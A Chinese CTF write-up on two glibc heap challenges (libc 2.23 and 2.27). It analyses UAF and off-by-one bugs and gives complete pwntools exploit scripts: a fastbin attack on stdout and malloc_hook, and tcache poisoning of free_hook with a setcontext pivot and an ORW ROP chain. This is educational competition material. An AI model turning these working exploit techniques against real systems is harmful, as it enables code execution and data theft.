【技術分享】從長城杯兩道題目看新老libc的利用
長城杯出了三道題目,除了easy_vm之外剩下的兩道都是libc題,一個是libc2.23,一個是libc2.27-1.4。正好可以從這兩道題目中看一下新老版本的libc的利用方式。
K1ng_in_h3Ap_I
這道題目是一個入門級的題目,libc的版本是2.23
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
我們逆向分析一下這個程序,題目的邏輯很簡單,是一個基礎的菜單題目,一共有add,delete,edit三種,并且存在一個后門函數也就是輸入666的時候觸發調用,先來看一下后門函數
return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));
也就是我們可以直接通過后門函數獲取得到libc基地址的低3字節,那么這個有什么用呢,我們接下來在看,繼續分析其他的函數
add函數,申請我們輸入指定size大小的內存堆塊
_DWORD *add(){
_DWORD *result; // rax
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint(); if ( index < 0 || index > 10 ) exit(0); puts("input size:");
size = readint(); if ( size < 0 || size > 0xF0 ) exit(0);
buf_list[index] = malloc(size);
result = size_list;
size_list[index] = size; return result;
}
但是這里size的大小不能超過0xf0。再來看一下delete函數
void sub_C41(){ int index; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint(); if ( index < 0 || index > 10 || !*((_QWORD *)&buf_list + index) || !size_list[index] ) exit(0); free(*((void **)&buf_list + index));
}
這里delete函數直接釋放了我們在add函數中申請的內存空間,但是這里沒有將buf_list和size_list中的相應位置清空,導致存在一個UAF的漏洞,再看一下edit函數
__int64 edit(){ int index; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint(); if ( index < 0 || index > 15 || !buf_list[index] ) exit(0); puts("input context:"); return do_edit(buf_list[index], (unsigned int)size_list[index]);
}
edit函數這里調用了一個do_edit函數來進行內容的更改,函數如下
unsigned __int64 __fastcall do_edit(__int64 address, int size){ char buf; // [rsp+13h] [rbp-Dh] BYREF
int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
index = 0; do
{ if ( !(unsigned int)read(0, &buf, 1uLL) ) exit(0); if ( buf == 10 ) break;
*(_BYTE *)(address + index++) = buf;
} while ( index <= size ); return __readfsqword(0x28u) ^ v5;
}
這里可以看到存在一個off-by-one漏洞,當index=size的時候還是可以輸入一個字節。
那么逆向分析結束之后發現了兩個漏洞,一個是UAF漏洞,另一個是off-by-one漏洞,并且這里我們可以獲取得到libc基地址的低3字節的內容。由于這里是libc2.23,我們直接考慮fastbin attack,覆寫malloc_hook為one_gadget之后直接getshell。但是這里還是存在一個問題就是我們需要泄漏出libc全部的地址。
那么這里就攻擊stdoout的結構體來泄漏地址了。我們看一下這個結構體。
type = struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock; __off64_t _offset; struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf; size_t __pad5; int _mode; char _unused2[20];
}
如果我們可以申請堆塊到stdout所在的內存空間,然后發泄write_base的低1字節為0,那么就會有很大的數據輸出。問題是怎么申請內存空間到這里呢,別忘了前面有我們的UAF,我們可以通過UAF和fastbin做到一個任意地址分配,當然這個地址需要滿足size的檢查,這里我們恰好在stdout結構體的上方發現了一個位置
pwndbg> x/20gx 0x7ffff7dd2620-0x400x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x00000000000000000x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x00000000000000000x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x00000000000000000x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00000000000000000x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad3887 0x00007ffff7dd26a30x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a30x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a30x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a30x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x00000000000000000x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000pwndbg> x/20gx 0x7ffff7dd2620-0x430x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x00000000000000000x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x00000000000000000x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x00000000000000000x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad3887000000 0xfff7dd26a30000000x7ffff7dd262d <_IO_2_1_stdout_+13>: 0xfff7dd26a300007f 0xfff7dd26a300007f0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd26a300007f 0xfff7dd26a300007f0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f0x7ffff7dd265d <_IO_2_1_stdout_+61>: 0xfff7dd26a400007f 0x000000000000007f0x7ffff7dd266d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000
也就是-0x43的位置中的0x7f恰好可以作為0x70的fastbin堆塊。但是我們現在只有低3字節,還需要在堆中提前布局一個libc附近的地址。這里可以直接利用main_arena的地址,利用off-by-one很容易做到堆塊合并,進而釋放到unsorted bin中,再次申請就能拿到一個libc附近的地址了,覆寫該地址的低3字節即可申請到stdout結構體中泄漏出libc的地址
[DEBUG] Received 0xc0 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
* 00000020 87 38 ad fb 00 00 00 00 00 00 00 00 00 00 00 00 │·8··│····│····│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 00 26 dd f7 ff 7f 00 00 a3 26 dd f7 ff 7f 00 00 │·&··│····│·&··│····│ 00000050 a3 26 dd f7 ff 7f 00 00 a3 26 dd f7 ff 7f 00 00 │·&··│····│·&··│····│ 00000060 a4 26 dd f7 ff 7f 00 00 00 00 00 00 00 00 00 00 │·&··│····│····│····│ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000080 00 00 00 00 00 00 00 00 e0 18 dd f7 ff 7f 00 00 │····│····│····│····│ 00000090 01 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff │····│····│····│····│ 000000a0 00 00 00 31 2e 20 61 64 64 0a 32 2e 20 64 65 6c │···1│. ad│d·2.│ del│ 000000b0 65 74 65 0a 33 2e 20 65 64 69 74 0a 3e 3e 20 0a │ete·│3. e│dit·│>> ·│ 000000c0
拿到libc的地址之后就很好說了,利用相同的思路分配堆塊到malloc_hook的位置,覆寫其為one_gadget。但是這里存在一個問題就是one_gadget都不能使用,需要使用realloc進行棧幀的調整,小問題。
# -*- coding: utf-8 -*-
from pwn import *
file_path = "./pwn"context.arch = "amd64"elf = ELF(file_path)
debug = 1if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE52)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]else:
p = remote('47.104.175.110', 20066)
libc = ELF('./libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index:\n", str(index))
p.sendlineafter("input size:\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index:\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index:\n", str(index))
p.sendafter("input context:\n", content)
def show():
p.sendlineafter(">> \n", "666")
ori_io = libc.sym['_IO_2_1_stdout_']
show()
libc.address = int(p.recvline().strip(), 16) - libc.sym['printf']
add(0, 0x68)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
payload = b"a"*0x68 + b"\xe1"delete(1)
edit(0, payload)delete(1)
add(6, 0x3)
payload = b"a"*0x68 + b"\x71"edit(0, payload)
payload = p32(libc.sym['_IO_2_1_stdout_'] - 0x43)[:3] + b"\n"edit(6, payload)
add(4, 0x68)
add(5, 0x68)
payload = b"\x00"*3 + p64(0)*6 + p64(0x00000000fbad2887 | 0x1000) + p64(0)*3 + b"\x00" + b"\n"edit(5, payload)
p.recvuntil(p64(0x00000000fbad2887 | 0x1000))
p.recv(0x18)
libc.address = u64(p.recv(8)) + 0x20 - ori_iodelete(4)
payload = p64(libc.sym['__malloc_hook'] - 0x23) + b"\n"edit(1, payload)
add(7, 0x68)
add(8, 0x68)
payload = b"\x00"*3 + p64(0)*1 + p64(one_gadget[1] + libc.address) + p64(libc.sym['realloc'] + 8) + b"\n"edit(8, payload)
add(9, 0x68)
p.interactive()
K1ng_in_h3Ap_II
這個題目就是在I的基礎上進行修改的,這里我們發現libc變成了2.27
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.5.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
在1.4中加入了對tcache的double free檢查,我們先分析一下程序,這里在一開始加入了沙箱,我們不能直接getshell了
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
同樣邏輯很簡單,是一個菜單題目,共有add,delete,edit,show四個選項,首先看一下add函數
_DWORD *add(){
_DWORD *result; // rax
int index; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint(); if ( index < 0 || index > 15 ) exit(0); puts("input size:");
v2 = readint(); if ( v2 <= 15 || v2 > 0x60 ) exit(0);
buf_list[index] = malloc(v2);
result = size_list;
size_list[index] = v2; return result;
}
這里對堆塊的大小進行了限制,堆塊的大小不能超過0x60個字節。但是其實這里沒啥影響,因為這里是用的tcache,tcache從來不檢查size。接著看一下delete函數
void delete(){ int v0; // [rsp+Ch] [rbp-4h]
puts("input index:");
v0 = readint(); if ( v0 < 0 || v0 > 15 || !buf_list[v0] ) exit(0); free((void *)buf_list[v0]);
}
這里還是老問題,在釋放的時候沒有對buf_list進行清空,因此這里存在UAF的漏洞。然后看一下edit函數
ssize_t edit()
{ int v1; // [rsp+Ch] [rbp-4h]
puts("input index:");
v1 = readint(); if ( v1 < 0 || v1 > 15 || !buf_list[v1] ) exit(0); puts("input context:"); return read(0, (void *)buf_list[v1], (int)size_list[v1]);
}
edit函數,這里直接用了read進行內容的修改,沒有了之前的off-by-one漏洞。然后是show函數直接puts輸出了堆塊中的內容。
那么現在是tcache 1.4中存在一個UAF的漏洞,那么這里我們首先泄漏一下地址,首先堆地址很好泄漏,釋放兩個堆塊,然后show一個堆塊就能泄漏出堆地址來了,但是libc的地址怎么泄漏,我們無法申請0x90大小以上的堆塊,因此不能直接將堆塊釋放到unsroted bin鏈表中。這里用到的一個思路就是sscanf函數在接收大量數據的時候會申請超大的內存堆塊,而超大的內存堆塊會觸發堆空間合并的機制,即將fastbin中的堆塊全部弄到bins鏈表中。
那么這里我們首先在fastbin中留一個堆塊,然后觸發堆合并,再show這個堆塊,那么就能泄漏出libc的地址。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x555555603790 --> 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x555555604200 --> 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0
top: 0x5555556042c0 (size : 0x1fd40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0(0x20) tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0(0x50) tcache_entry[3](1): 0x555555603f20(0x60) tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70(0x70) tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0(0x80) tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50(0xd0) tcache_entry[11](1): 0x555555603310(0xf0) tcache_entry[13](2): 0x555555603d00 --> 0x555555603670s
執行p.sendlineafter(">> \n", "1"*0x1100) 堆空間如下
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0
top: 0x5555556042c0 (size : 0x1fd40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0(0x020) smallbin[ 0]: 0x555555603790(0x060) smallbin[ 4]: 0x555555604200 // 合并的堆塊(0x20) tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0(0x50) tcache_entry[3](1): 0x555555603f20(0x60) tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70(0x70) tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0(0x80) tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50(0xd0) tcache_entry[11](1): 0x555555603310(0xf0) tcache_entry[13](2): 0x555555603d00 --> 0x555555603670
觸發堆合并之后就能泄漏出地址。泄漏出libc的地址接下來就好說了,我們直接利用UAF申請堆塊到free_hook的位置,將其覆寫為setcontext+53,進行棧遷移,執行ORW。但是這里存在一個問題就是我們最大能控制的大小為0x60,而ORW的鏈肯定大于0x60的,因此這里我們需要先執行一個read的rop,從而讀取orw繼續執行。
# -*- coding: utf-8 -*-import syslog
from pwn import *
file_path = "./pwn"context.arch = "amd64"elf = ELF(file_path)
debug = 1if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE52)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]else:
p = remote('47.104.175.110', 20066)
libc = ELF('./libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index:\n", str(index))
p.sendlineafter("input size:\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index:\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index:\n", str(index))
p.sendafter("input context:\n", content)
def show(index):
p.sendlineafter(">> \n", "4")
p.sendlineafter("input index:\n", str(index))for i in range(9):
add(i, 0x58)for i in range(8): delete(i)
show(1)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
p.sendlineafter(">> \n", "1"*0x1100)
show(7)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10 - libc.sym['__malloc_hook'] - 0xb0for i in range(7, -1, -1):
add(i, 0x58)delete(0)delete(1)
edit(1, p64(libc.sym['__free_hook']))
add(1, 0x58)
add(9, 0x58)
# # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];# magic = 0x0000000000154930 + libc.addressp_rdi_r = 0x00000000000215bf + libc.address
p_rsi_r = 0x0000000000023eea + libc.address
p_rax_r = 0x0000000000043ae8 + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
syscall = 0x00000000000d2745 + libc.address
ret = 0x00000000000c0c9d + libc.address
setcontext = libc.sym['setcontext'] + 53orw_address = heap_address + 0xc0orw_read_address = orw_address + 0x48flag_str_address = libc.sym['__free_hook'] + 0x10flag_address = flag_str_address + 0x10orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
p_rax_r, 1,
syscall
])
orw_read = flat([
p_rdi_r, 0,
p_rsi_r, orw_read_address,
p_rdx_r, 0x200,
p_rax_r, 0,
syscall,
])
edit(9, p64(setcontext) + p64(0) + b"./flag")
payload = b"\x00"*0x40 + p64(orw_address) + p64(ret)
edit(2, payload)
edit(3, orw_read)delete(1)
p.sendline(orw)
p.interactive()